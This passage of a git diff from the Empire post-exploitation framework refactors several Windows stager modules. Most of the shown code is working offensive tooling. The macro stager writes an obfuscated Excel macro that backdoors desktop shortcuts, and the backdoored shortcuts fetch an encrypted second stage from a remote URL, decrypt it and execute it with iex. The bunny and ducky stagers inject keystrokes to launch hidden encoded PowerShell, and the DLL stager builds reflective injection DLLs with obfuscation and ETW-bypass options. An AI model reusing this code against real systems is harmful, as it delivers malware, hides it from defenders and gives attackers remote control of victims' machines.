random.randint(6, 9))) - encKey = ''.join( + shell_var = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6, 9))) + lnk_var = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6, 9))) + fso_var = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6, 9))) + folder_var = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6, 9))) + file_var = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6, 9))) + enc_key = ''.join( random.sample(string.ascii_uppercase + string.ascii_lowercase + string.digits + string.punctuation, random.randint(16, 16))) # avoiding potential escape characters in our decryption key for the second stage payload for ch in ["\"", "'", "`"]: - if ch in encKey: - encKey = encKey.replace(ch, random.choice(string.ascii_lowercase)) - encIV = random.randint(1, 240) + if ch in enc_key: + enc_key = enc_key.replace(ch, random.choice(string.ascii_lowercase)) + enc_iv = random.randint(1, 240) # generate the launcher if language.lower() == "python": - launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=False, - userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, - stagerRetries=stagerRetries) + launcher = self.mainMenu.stagers.generate_launcher(listenerName=listener_name, language=language, + encode=False, + userAgent=user_agent, proxy=proxy, + proxyCreds=proxy_creds, + stagerRetries=stager_retries) else: - launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, - obfuscate=obfuscateScript, - obfuscationCommand=obfuscateCommand, userAgent=userAgent, - proxy=proxy, proxyCreds=proxyCreds, - stagerRetries=stagerRetries, bypasses=bypasses) + launcher = self.mainMenu.stagers.generate_launcher(listenerName=listener_name, language=language, + encode=True, + obfuscate=obfuscate_script, + obfuscationCommand=obfuscate_command, + userAgent=user_agent, + proxy=proxy, proxyCreds=proxy_creds, + stagerRetries=stager_retries, bypasses=bypasses) launcher = launcher.replace("\"", "'") - + if launcher == "": print(helpers.color("[!] Error in launcher command generation.")) return "" else: try: - reader = xlrd.open_workbook(xlsOut) - workBook = copy(reader) - activeSheet = workBook.get_sheet(0) + reader = xlrd.open_workbook(xls_out) + work_book = copy(reader) + active_sheet = work_book.get_sheet(0) except (IOError, OSError): - workBook = Workbook() - activeSheet = workBook.add_sheet('Sheet1') + work_book = Workbook() + active_sheet = work_book.add_sheet('Sheet1') # sets initial coords for writing data to - inputRow = random.randint(50, 70) - inputCol = random.randint(40, 60) + input_row = random.randint(50, 70) + input_col = random.randint(40, 60) # build out the macro - first take all strings that would normally go into the macro and place them into random cells, which we then reference in our macro macro = "Sub Auto_Close()\n" - - activeSheet.write(inputRow, inputCol, helpers.randomize_capitalization("Wscript.shell")) - macro += "Set " + shellVar + " = CreateObject(activeSheet.Range(\"" + self.coordsToCell(inputRow, - inputCol) + "\").value)\n" - inputCol = inputCol + random.randint(1, 4) - - activeSheet.write(inputRow, inputCol, helpers.randomize_capitalization("Scripting.FileSystemObject")) - macro += "Set " + fsoVar + " = CreateObject(activeSheet.Range(\"" + self.coordsToCell(inputRow, - inputCol) + "\").value)\n" - inputCol = inputCol + random.randint(1, 4) - - activeSheet.write(inputRow, inputCol, helpers.randomize_capitalization("desktop")) - macro += "Set " + folderVar + " = " + fsoVar + ".GetFolder(" + shellVar + ".SpecialFolders(activeSheet.Range(\"" + self.coordsToCell( - inputRow, inputCol) + "\").value))\n" - macro += "For Each " + fileVar + " In " + folderVar + ".Files\n" - - macro += "If(InStr(Lcase(" + fileVar + "), \".lnk\")) Then\n" - macro += "Set " + lnkVar + " = " + shellVar + ".CreateShortcut(" + shellVar + ".SPecialFolders(activeSheet.Range(\"" + self.coordsToCell( - inputRow, inputCol) + "\").value) & \"\\\" & " + fileVar + ".name)\n" - inputCol = inputCol + random.randint(1, 4) - + + active_sheet.write(input_row, input_col, helpers.randomize_capitalization("Wscript.shell")) + macro += "Set " + shell_var + " = CreateObject(activeSheet.Range(\"" + self.coordsToCell(input_row, + input_col) + "\").value)\n" + input_col = input_col + random.randint(1, 4) + + active_sheet.write(input_row, input_col, helpers.randomize_capitalization("Scripting.FileSystemObject")) + macro += "Set " + fso_var + " = CreateObject(activeSheet.Range(\"" + self.coordsToCell(input_row, + input_col) + "\").value)\n" + input_col = input_col + random.randint(1, 4) + + active_sheet.write(input_row, input_col, helpers.randomize_capitalization("desktop")) + macro += "Set " + folder_var + " = " + fso_var + ".GetFolder(" + shell_var + ".SpecialFolders(activeSheet.Range(\"" + self.coordsToCell( + input_row, input_col) + "\").value))\n" + macro += "For Each " + file_var + " In " + folder_var + ".Files\n" + + macro += "If(InStr(Lcase(" + file_var + "), \".lnk\")) Then\n" + macro += "Set " + lnk_var + " = " + shell_var + ".CreateShortcut(" + shell_var + ".SPecialFolders(activeSheet.Range(\"" + self.coordsToCell( + input_row, input_col) + "\").value) & \"\\\" & " + file_var + ".name)\n" + input_col = input_col + random.randint(1, 4) + macro += "If(" - for i, item in enumerate(targetEXE): + for i, item in enumerate(target_exe): if i: macro += (' or ') - activeSheet.write(inputRow, inputCol, targetEXE[i].strip().lower() + ".") - macro += "InStr(Lcase(" + lnkVar + ".targetPath), activeSheet.Range(\"" + self.coordsToCell(inputRow, - inputCol) + "\").value)" - inputCol = inputCol + random.randint(1, 4) + active_sheet.write(input_row, input_col, target_exe[i].strip().lower() + ".") + macro += "InStr(Lcase(" + lnk_var + ".targetPath), activeSheet.Range(\"" + self.coordsToCell(input_row, + input_col) + "\").value)" + input_col = input_col + random.randint(1, 4) macro += ") Then\n" # launchString contains the code that will get insterted into the backdoored .lnk files, it will first launch the original target exe, then clean up all backdoors on the desktop. After cleanup is completed it will check the current date, if it is prior to the killdate the second stage will then be downloaded from the webserver selected during macro generation, and then decrypted using the key and iv created during this same process. This code is then executed to gain a full agent on the remote system. - launchString1 = "hidden -nop -c \"Start(\'" - launchString2 = ");$u=New-Object -comObject wscript.shell;gci -Pa $env:USERPROFILE\desktop -Fi *.lnk|%{$l=$u.createShortcut($_.FullName);if($l.arguments-like\'*xml.xmldocument*\'){$s=$l.arguments.IndexOf(\'\'\'\')+1;$r=$l.arguments.Substring($s, $l.arguments.IndexOf(\'\'\'\',$s)-$s);$l.targetPath=$r;$l.Arguments=\'\';$l.Save()}};$b=New-Object System.Xml.XmlDocument;if([int](get-date -U " - launchString3 = ") -le " + str(killDate[2]) + str(killDate[0]) + str(killDate[1]) + "){$b.Load(\'" - launchString4 = "\');$a=New-Object 'Security.Cryptography.AesManaged';$a.IV=(" + str(encIV) + ".." + str( - encIV + 15) + ");$a.key=[text.encoding]::UTF8.getBytes('" - launchString5 = "');$by=[System.Convert]::FromBase64String($b.main);[Text.Encoding]::UTF8.GetString($a.CreateDecryptor().TransformFinalBlock($by,0,$by.Length)).substring(16)|iex}\"" + launch_string1 = "hidden -nop -c \"Start(\'" + launch_string2 = ");$u=New-Object -comObject wscript.shell;gci -Pa $env:USERPROFILE\desktop -Fi *.lnk|%{$l=$u.createShortcut($_.FullName);if($l.arguments-like\'*xml.xmldocument*\'){$s=$l.arguments.IndexOf(\'\'\'\')+1;$r=$l.arguments.Substring($s, $l.arguments.IndexOf(\'\'\'\',$s)-$s);$l.targetPath=$r;$l.Arguments=\'\';$l.Save()}};$b=New-Object System.Xml.XmlDocument;if([int](get-date -U " + launch_string3 = ") -le " + str(kill_date[2]) + str(kill_date[0]) + str(kill_date[1]) + "){$b.Load(\'" + launch_string4 = "\');$a=New-Object 'Security.Cryptography.AesManaged';$a.IV=(" + str(enc_iv) + ".." + str( + enc_iv + 15) + ");$a.key=[text.encoding]::UTF8.getBytes('" + launch_string5 = "');$by=[System.Convert]::FromBase64String($b.main);[Text.Encoding]::UTF8.GetString($a.CreateDecryptor().TransformFinalBlock($by,0,$by.Length)).substring(16)|iex}\"" # part of the macro that actually modifies the LNK files on the desktop, sets icon location for updated lnk to the old targetpath, args to our launch code, and target to powershell so we can do a direct call to it - macro += lnkVar + ".IconLocation = " + lnkVar + ".targetpath\n" - launchString1 = helpers.randomize_capitalization(launchString1) - launchString2 = helpers.randomize_capitalization(launchString2) - launchString3 = helpers.randomize_capitalization(launchString3) - launchString4 = helpers.randomize_capitalization(launchString4) - launchString5 = helpers.randomize_capitalization(launchString5) - launchStringSum = launchString2 + "'%Y%m%d'" + launchString3 + XmlPath + launchString4 + encKey + launchString5 - - activeSheet.write(inputRow, inputCol, launchString1) - launch1Coords = self.coordsToCell(inputRow, inputCol) - inputCol = inputCol + random.randint(1, 4) - activeSheet.write(inputRow, inputCol, launchStringSum) - launchSumCoords = self.coordsToCell(inputRow, inputCol) - inputCol = inputCol + random.randint(1, 4) - - macro += lnkVar + ".arguments = \"-w \" & activeSheet.Range(\"" + launch1Coords + "\").Value & " + lnkVar + ".targetPath" + " & \"'\" & activeSheet.Range(\"" + launchSumCoords + "\").Value" + "\n" - - activeSheet.write(inputRow, inputCol, helpers.randomize_capitalization( + macro += lnk_var + ".IconLocation = " + lnk_var + ".targetpath\n" + launch_string1 = helpers.randomize_capitalization(launch_string1) + launch_string2 = helpers.randomize_capitalization(launch_string2) + launch_string3 = helpers.randomize_capitalization(launch_string3) + launch_string4 = helpers.randomize_capitalization(launch_string4) + launch_string5 = helpers.randomize_capitalization(launch_string5) + launch_string_sum = launch_string2 + "'%Y%m%d'" + launch_string3 + xml_path + launch_string4 + enc_key + launch_string5 + + active_sheet.write(input_row, input_col, launch_string1) + launch1_coords = self.coordsToCell(input_row, input_col) + input_col = input_col + random.randint(1, 4) + active_sheet.write(input_row, input_col, launch_string_sum) + launch_sum_coords = self.coordsToCell(input_row, input_col) + input_col = input_col + random.randint(1, 4) + + macro += lnk_var + ".arguments = \"-w \" & activeSheet.Range(\"" + launch1_coords + "\").Value & " + lnk_var + ".targetPath" + " & \"'\" & activeSheet.Range(\"" + launch_sum_coords + "\").Value" + "\n" + + active_sheet.write(input_row, input_col, helpers.randomize_capitalization( ":\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe")) - macro += lnkVar + ".targetpath = left(CurDir, InStr(CurDir, \":\")-1) & activeSheet.Range(\"" + self.coordsToCell( - inputRow, inputCol) + "\").value\n" - inputCol = inputCol + random.randint(1, 4) + macro += lnk_var + ".targetpath = left(CurDir, InStr(CurDir, \":\")-1) & activeSheet.Range(\"" + self.coordsToCell( + input_row, input_col) + "\").value\n" + input_col = input_col + random.randint(1, 4) # macro will not write backdoored lnk file if resulting args will be > 1024 length (max arg length) - this is to avoid an incomplete statement that results in a powershell error on run, which causes no execution of any programs and no cleanup of backdoors - macro += "if(Len(" + lnkVar + ".arguments) < 1023) Then\n" - macro += lnkVar + ".save\n" + macro += "if(Len(" + lnk_var + ".arguments) < 1023) Then\n" + macro += lnk_var + ".save\n" macro += "end if\n" macro += "end if\n" macro += "end if\n" - macro += "next " + fileVar + "\n" + macro += "next " + file_var + "\n" macro += "End Sub\n" - activeSheet.row(inputRow).hidden = True + active_sheet.row(input_row).hidden = True print(helpers.color("\nWriting xls...\n", color="blue")) - workBook.save(xlsOut) + work_book.save(xls_out) print(helpers.color( - "xls written to " + xlsOut + " please remember to add macro code to xls prior to use\n\n", + "xls written to " + xls_out + " please remember to add macro code to xls prior to use\n\n", color="green")) - + # encrypt the second stage code that will be dropped into the XML - this is the full empire stager that gets pulled once the user clicks on the backdoored shortcut - ivBuf = ("").encode('UTF-8') + iv_buf = ("").encode('UTF-8') for z in range(0, 16): - IV = encIV + z - IV = IV.to_bytes(1, byteorder='big') - ivBuf = b"".join([ivBuf,IV]) + iv = enc_iv + z + iv = iv.to_bytes(1, byteorder='big') + iv_buf = b"".join([iv_buf, iv]) - encryptor = AES.new(encKey, AES.MODE_CBC, ivBuf) + encryptor = AES.new(enc_key.encode('UTF-8'), AES.MODE_CBC, iv_buf) # pkcs7 padding - aes standard on Windows - if this padding mechanism is used we do not need to define padding in our macro code, saving space padding = 16 - (len(launcher) % 16) @@ -308,20 +334,20 @@ def generate(self): launcher = launcher + ('\x00' * 16) else: launcher = launcher + (chr(padding) * padding) - - cipher_text = encryptor.encrypt(launcher) - cipher_text = helpers.encode_base64(b"".join([ivBuf,cipher_text])) + + cipher_text = encryptor.encrypt(launcher.encode('UTF-8')) + cipher_text = helpers.encode_base64(b"".join([iv_buf, cipher_text])) # write XML to disk print(helpers.color("Writing xml...\n", color="blue")) - fileWrite = open(XmlOut, "wb") - fileWrite.write(b"\n") - fileWrite.write(b"
") - fileWrite.write(cipher_text) - fileWrite.write(b"
\n") - fileWrite.close() + file_write = open(xml_out, "wb") + file_write.write(b"\n") + file_write.write(b"
") + file_write.write(cipher_text) + file_write.write(b"
\n") + file_write.close() print(helpers.color( - "xml written to " + XmlOut + " please remember this file must be accessible by the target at this url: " + XmlPath + "\n", + "xml written to " + xml_out + " please remember this file must be accessible by the target at this url: " + xml_path + "\n", color="green")) - + return macro diff --git a/empire/server/stagers/windows/bunny.py b/empire/server/stagers/windows/bunny.py index d2c92f12f..c89368dd5 100755 --- a/empire/server/stagers/windows/bunny.py +++ b/empire/server/stagers/windows/bunny.py @@ -2,6 +2,7 @@ from builtins import object from empire.server.common import helpers + class Stager(object): def __init__(self, mainMenu, params=[]): @@ -9,9 +10,9 @@ def __init__(self, mainMenu, params=[]): self.info = { 'Name': 'BunnyLauncher', - 'Author': ['@kisasondi','@harmj0y'], + 'Author': ['@kisasondi', '@harmj0y'], - 'Description': ('Generates a bunny script that runs a one-liner stage0 launcher for Empire.'), + 'Description': 'Generates a bunny script that runs a one-liner stage0 launcher for Empire.', 'Comments': [ 'This stager is modification of the ducky stager by @harmj0y,', @@ -23,20 +24,22 @@ def __init__(self, mainMenu, params=[]): self.options = { # format: # value_name : {description, required, default_value} - 'Listener' : { - 'Description' : 'Listener to generate stager for.', - 'Required' : True, - 'Value' : '' + 'Listener': { + 'Description': 'Listener to generate stager for.', + 'Required': True, + 'Value': '', }, 'Obfuscate': { - 'Description': 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.', + 'Description': 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for ' + 'obfuscation types. For powershell only.', 'Required': False, 'Value': 'False', 'SuggestedValues': ['True', 'False'], 'Strict': True }, 'ObfuscateCommand': { - 'Description': 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.', + 'Description': 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For ' + 'powershell only.', 'Required': False, 'Value': r'Token\All\1' }, @@ -45,45 +48,50 @@ def __init__(self, mainMenu, params=[]): 'Required': False, 'Value': 'mattifestation etw' }, - 'Language' : { - 'Description' : 'Language of the stager to generate.', - 'Required' : True, - 'Value' : 'powershell' + 'Language': { + 'Description': 'Language of the stager to generate.', + 'Required': True, + 'Value': 'powershell', + 'SuggestedValues': ['powershell'], + 'Strict': True }, - 'Keyboard' : { - 'Description' : 'Use a different layout then EN. Add a Q SET_LANGUAGE stanza for various keymaps, try DE, HR...', - 'Required' : False, - 'Value' : '' + 'Keyboard': { + 'Description': 'Use a different layout then EN. Add a Q SET_LANGUAGE stanza for various keymaps, ' + 'try DE, HR...', + 'Required': False, + 'Value': '' }, - 'Interpreter' : { - 'Description' : 'Interpreter for code (Defaults to powershell, since a lot of places block cmd.exe)', - 'Required' : False, - 'Value' : 'powershell' + 'Interpreter': { + 'Description': 'Interpreter for code (Defaults to powershell, since a lot of places block cmd.exe)', + 'Required': False, + 'Value': 'powershell', + 'SuggestedValues': ['powershell', 'cmd'], + 'Strict': True }, - 'StagerRetries' : { - 'Description' : 'Times for the stager to retry connecting.', - 'Required' : False, - 'Value' : '0' + 'StagerRetries': { + 'Description': 'Times for the stager to retry connecting.', + 'Required': False, + 'Value': '0' }, - 'OutFile' : { - 'Description' : 'Filename that should be used for the generated output, otherwise returned as a string.', - 'Required' : False, - 'Value' : '' + 'OutFile': { + 'Description': 'Filename that should be used for the generated output, otherwise returned as a string.', + 'Required': False, + 'Value': '' }, - 'UserAgent' : { - 'Description' : 'User-agent string to use for the staging request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'UserAgent': { + 'Description': 'User-agent string to use for the staging request (default, none, or other).', + 'Required': False, + 'Value': 'default' }, - 'Proxy' : { - 'Description' : 'Proxy to use for request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'Proxy': { + 'Description': 'Proxy to use for request (default, none, or other).', + 'Required': False, + 'Value': 'default' }, - 'ProxyCreds' : { - 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'ProxyCreds': { + 'Description': 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', + 'Required': False, + 'Value': 'default' } } @@ -97,50 +105,48 @@ def __init__(self, mainMenu, params=[]): if option in self.options: self.options[option]['Value'] = value - def generate(self): # default booleans to false - obfuscateScript = False + obfuscate_script = False # extract all of our options language = self.options['Language']['Value'] interpreter = self.options['Interpreter']['Value'] keyboard = self.options['Keyboard']['Value'] - listenerName = self.options['Listener']['Value'] - userAgent = self.options['UserAgent']['Value'] + listener_name = self.options['Listener']['Value'] + user_agent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] - proxyCreds = self.options['ProxyCreds']['Value'] - stagerRetries = self.options['StagerRetries']['Value'] + proxy_creds = self.options['ProxyCreds']['Value'] + stager_retries = self.options['StagerRetries']['Value'] bypasses = self.options['Bypasses']['Value'] if self.options['Obfuscate']['Value'].lower == "true": - obfuscateScript = True - obfuscateCommand = self.options['ObfuscateCommand']['Value'] + obfuscate_script = True + obfuscate_command = self.options['ObfuscateCommand']['Value'] # generate the launcher code - launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, - obfuscate=obfuscateScript, - obfuscationCommand=obfuscateCommand, userAgent=userAgent, - proxy=proxy, proxyCreds=proxyCreds, - stagerRetries=stagerRetries, bypasses=bypasses) - + launcher = self.mainMenu.stagers.generate_launcher(listener_name, language=language, encode=True, + obfuscate=obfuscate_script, + obfuscationCommand=obfuscate_command, userAgent=user_agent, + proxy=proxy, proxyCreds=proxy_creds, + stagerRetries=stager_retries, bypasses=bypasses) if launcher == "": print(helpers.color("[!] Error in launcher command generation.")) return "" else: enc = launcher.split(" ")[-1] - bunnyCode = "#!/bin/bash\n" - bunnyCode += "LED R G\n" - bunnyCode += "source bunny_helpers.sh\n" - bunnyCode += "ATTACKMODE HID\n" - if keyboard != '': - bunnyCode += "Q SET_LANGUAGE " + keyboard + "\n" - bunnyCode += "Q DELAY 500\n" - bunnyCode += "Q GUI r\n" - bunnyCode += "Q STRING " + interpreter + "\n" - bunnyCode += "Q ENTER\n" - bunnyCode += "Q DELAY 500\n" - bunnyCode += "Q STRING powershell -W Hidden -nop -noni -enc "+enc+"\n" - bunnyCode += "Q ENTER\n" - bunnyCode += "LED R G B 200\n" - return bunnyCode + bunny_code = "#!/bin/bash\n" + bunny_code += "LED R G\n" + bunny_code += "source bunny_helpers.sh\n" + bunny_code += "ATTACKMODE HID\n" + if keyboard != '': + bunny_code += "Q SET_LANGUAGE " + keyboard + "\n" + bunny_code += "Q DELAY 500\n" + bunny_code += "Q GUI r\n" + bunny_code += "Q STRING " + interpreter + "\n" + bunny_code += "Q ENTER\n" + bunny_code += "Q DELAY 500\n" + bunny_code += "Q STRING powershell -W Hidden -nop -noni -enc " + enc + "\n" + bunny_code += "Q ENTER\n" + bunny_code += "LED R G B 200\n" + return bunny_code diff --git a/empire/server/stagers/windows/csharp_exe.py b/empire/server/stagers/windows/csharp_exe.py index f0328fb1a..60fe58ac5 100755 --- a/empire/server/stagers/windows/csharp_exe.py +++ b/empire/server/stagers/windows/csharp_exe.py @@ -13,7 +13,7 @@ def __init__(self, mainMenu, params=[]): 'Author': ['@elitest', '@hubbl3'], - 'Description': ('Generate a PowerShell C# solution with embedded stager code that compiles to an exe'), + 'Description': 'Generate a PowerShell C# solution with embedded stager code that compiles to an exe', 'Comments': [ 'Based on the work of @bneg' @@ -35,7 +35,7 @@ def __init__(self, mainMenu, params=[]): 'Description': 'Language of the stager to generate(powershell, csharp).', 'Required': True, 'Value': 'net40', - 'SuggestedValues': ['net35','net40'], + 'SuggestedValues': ['net35', 'net40'], 'Strict': True }, 'Listener': { diff --git a/empire/server/stagers/windows/dll.py b/empire/server/stagers/windows/dll.py index 1ad01cd09..3ac726b51 100644 --- a/empire/server/stagers/windows/dll.py +++ b/empire/server/stagers/windows/dll.py @@ -2,6 +2,7 @@ from builtins import object from empire.server.common import helpers + class Stager(object): def __init__(self, mainMenu, params=[]): @@ -11,73 +12,75 @@ def __init__(self, mainMenu, params=[]): 'Author': ['@sixdub'], - 'Description': ('Generate a PowerPick Reflective DLL to inject with stager code.'), + 'Description': 'Generate a PowerPick Reflective DLL to inject with stager code.', - 'Comments': [ - '' - ] + 'Comments': [''] } # any options needed by the stager, settable during runtime self.options = { # format: # value_name : {description, required, default_value} - 'Listener' : { - 'Description' : 'Listener to generate stager for.', - 'Required' : True, - 'Value' : '' + 'Listener': { + 'Description': 'Listener to generate stager for.', + 'Required': True, + 'Value': '', }, - 'Language' : { - 'Description' : 'Language of the stager to generate.', - 'Required' : True, - 'Value' : 'powershell' + 'Language': { + 'Description': 'Language of the stager to generate.', + 'Required': True, + 'Value': 'powershell', + 'SuggestedValues': ['powershell'], + 'Strict': True }, - 'Arch' : { - 'Description' : 'Architecture of the .dll to generate (x64 or x86).', - 'Required' : True, - 'Value' : 'x64' + 'Arch': { + 'Description': 'Architecture of the .dll to generate (x64 or x86).', + 'Required': True, + 'Value': 'x64', + 'SuggestedValues': ['x64', 'x86'], + 'Strict': True }, - 'Listener' : { - 'Description' : 'Listener to use.', - 'Required' : True, - 'Value' : '' + 'Listener': { + 'Description': 'Listener to use.', + 'Required': True, + 'Value': '' }, - 'StagerRetries' : { - 'Description' : 'Times for the stager to retry connecting.', - 'Required' : False, - 'Value' : '0' + 'StagerRetries': { + 'Description': 'Times for the stager to retry connecting.', + 'Required': False, + 'Value': '0' }, - 'UserAgent' : { - 'Description' : 'User-agent string to use for the staging request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'UserAgent': { + 'Description': 'User-agent string to use for the staging request (default, none, or other).', + 'Required': False, + 'Value': 'default' }, - 'Proxy' : { - 'Description' : 'Proxy to use for request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'Proxy': { + 'Description': 'Proxy to use for request (default, none, or other).', + 'Required': False, + 'Value': 'default' }, - 'ProxyCreds' : { - 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'ProxyCreds': { + 'Description': 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', + 'Required': False, + 'Value': 'default' }, - 'OutFile' : { - 'Description' : 'File to output dll to.', - 'Required' : True, - 'Value' : '/tmp/launcher.dll' + 'OutFile': { + 'Description': 'File to output dll to.', + 'Required': True, + 'Value': '/tmp/launcher.dll' }, - 'Obfuscate' : { - 'Description' : 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.', - 'Required' : False, - 'Value' : 'False', + 'Obfuscate': { + 'Description': 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.', + 'Required': False, + 'Value': 'False', 'SuggestedValues': ['True', 'False'], 'Strict': True }, - 'ObfuscateCommand' : { - 'Description' : 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.', - 'Required' : False, - 'Value' : r'Token\All\1' + 'ObfuscateCommand': { + 'Description': 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.', + 'Required': False, + 'Value': r'Token\All\1' }, 'Bypasses': { 'Description': 'Bypasses as a space separated list to be prepended to the launcher', @@ -96,46 +99,46 @@ def __init__(self, mainMenu, params=[]): if option in self.options: self.options[option]['Value'] = value - def generate(self): - listenerName = self.options['Listener']['Value'] + listener_name = self.options['Listener']['Value'] arch = self.options['Arch']['Value'] # staging options language = self.options['Language']['Value'] - userAgent = self.options['UserAgent']['Value'] + user_agent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] - proxyCreds = self.options['ProxyCreds']['Value'] - stagerRetries = self.options['StagerRetries']['Value'] + proxy_creds = self.options['ProxyCreds']['Value'] + stager_retries = self.options['StagerRetries']['Value'] obfuscate = self.options['Obfuscate']['Value'] - obfuscateCommand = self.options['ObfuscateCommand']['Value'] + obfuscate_command = self.options['ObfuscateCommand']['Value'] bypasses = self.options['Bypasses']['Value'] - if not self.mainMenu.listeners.is_listener_valid(listenerName): + if not self.mainMenu.listeners.is_listener_valid(listener_name): # not a valid listener, return nothing for the script - print(helpers.color("[!] Invalid listener: " + listenerName)) + print(helpers.color("[!] Invalid listener: " + listener_name)) return "" else: - obfuscateScript = False + obfuscate_script = False if obfuscate.lower() == "true": - obfuscateScript = True - - if obfuscateScript and "launcher" in obfuscateCommand.lower(): + obfuscate_script = True + + if obfuscate_script and "launcher" in obfuscate_command.lower(): print(helpers.color("[!] If using obfuscation, LAUNCHER obfuscation cannot be used in the dll stager.")) return "" # generate the PowerShell one-liner with all of the proper options set - launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, - obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, - userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, - stagerRetries=stagerRetries, bypasses=bypasses) + launcher = self.mainMenu.stagers.generate_launcher(listenerName=listener_name, language=language, + encode=True, + obfuscate=obfuscate_script, + obfuscationCommand=obfuscate_command, + userAgent=user_agent, proxy=proxy, + proxyCreds=proxy_creds, + stagerRetries=stager_retries, bypasses=bypasses) if launcher == "": print(helpers.color("[!] Error in launcher generation.")) return "" else: - launcherCode = launcher.split(" ")[-1] - - dll = self.mainMenu.stagers.generate_dll(launcherCode, arch) - + launcher_code = launcher.split(" ")[-1] + dll = self.mainMenu.stagers.generate_dll(launcher_code, arch) return dll diff --git a/empire/server/stagers/windows/ducky.py b/empire/server/stagers/windows/ducky.py index bee52a1fd..f3282b769 100644 --- a/empire/server/stagers/windows/ducky.py +++ b/empire/server/stagers/windows/ducky.py @@ -1,7 +1,7 @@ from __future__ import print_function from builtins import object from empire.server.common import helpers - + class Stager(object): @@ -10,70 +10,72 @@ def __init__(self, mainMenu, params=[]): self.info = { 'Name': 'DuckyLauncher', - 'Author': ['@harmj0y','@kisasondi'], + 'Author': ['@harmj0y', '@kisasondi'], - 'Description': ('Generates a ducky script that runes a one-liner stage0 launcher for Empire.'), + 'Description': 'Generates a ducky script that runes a one-liner stage0 launcher for Empire.', - 'Comments': [ - '' - ] + 'Comments': [''] } # any options needed by the stager, settable during runtime self.options = { # format: # value_name : {description, required, default_value} - 'Listener' : { - 'Description' : 'Listener to generate stager for.', - 'Required' : True, - 'Value' : '' + 'Listener': { + 'Description': 'Listener to generate stager for.', + 'Required': True, + 'Value': '' }, - 'Language' : { - 'Description' : 'Language of the stager to generate.', - 'Required' : True, - 'Value' : 'powershell' + 'Language': { + 'Description': 'Language of the stager to generate.', + 'Required': True, + 'Value': 'powershell', + 'SuggestedValues': ['powershell'], + 'Strict': True }, - 'Interpreter' : { - 'Description' : 'Which interpreter do you want? (powershell or cmd)', - 'Required' : False, - 'Value' : 'powershell' + 'Interpreter': { + 'Description': 'Which interpreter do you want? (powershell or cmd)', + 'Required': False, + 'Value': 'powershell', + 'SuggestedValues': ['powershell', 'cmd'], + 'Strict': True }, - 'StagerRetries' : { - 'Description' : 'Times for the stager to retry connecting.', - 'Required' : False, - 'Value' : '0' + 'StagerRetries': { + 'Description': 'Times for the stager to retry connecting.', + 'Required': False, + 'Value': '0' }, - 'OutFile' : { - 'Description' : 'Filename that should be used for the generated output, otherwise returned as a string.', - 'Required' : False, - 'Value' : '' + 'OutFile': { + 'Description': 'Filename that should be used for the generated output, otherwise returned as a string.', + 'Required': False, + 'Value': '' }, - 'Obfuscate' : { - 'Description' : 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.', - 'Required' : False, - 'Value' : 'False', - 'SuggestedValues': ['True', 'False'], - 'Strict' : True + 'Obfuscate': { + 'Description': 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.', + 'Required': False, + 'Value': 'False', + 'SuggestedValues': ['True', 'False'], + 'Strict': True }, - 'ObfuscateCommand' : { - 'Description' : 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.', - 'Required' : False, - 'Value' : r'Token\All\1' + 'ObfuscateCommand': { + 'Description': 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.', + 'Required': False, + 'Value': r'Token\All\1' }, - 'UserAgent' : { - 'Description' : 'User-agent string to use for the staging request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'UserAgent': { + 'Description': 'User-agent string to use for the staging request (default, none, or other).', + 'Required': False, + 'Value': 'default' }, - 'Proxy' : { - 'Description' : 'Proxy to use for request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'Proxy': { + 'Description': 'Proxy to use for request (default, none, or other).', + 'Required': False, + 'Value': 'default' }, - 'ProxyCreds' : { - 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'ProxyCreds': { + 'Description': 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', + 'Required': False, + 'Value': 'default' } } @@ -87,50 +89,53 @@ def __init__(self, mainMenu, params=[]): if option in self.options: self.options[option]['Value'] = value - def generate(self): - + # extract all of our options language = self.options['Language']['Value'] interpreter = self.options['Interpreter']['Value'] - listenerName = self.options['Listener']['Value'] - userAgent = 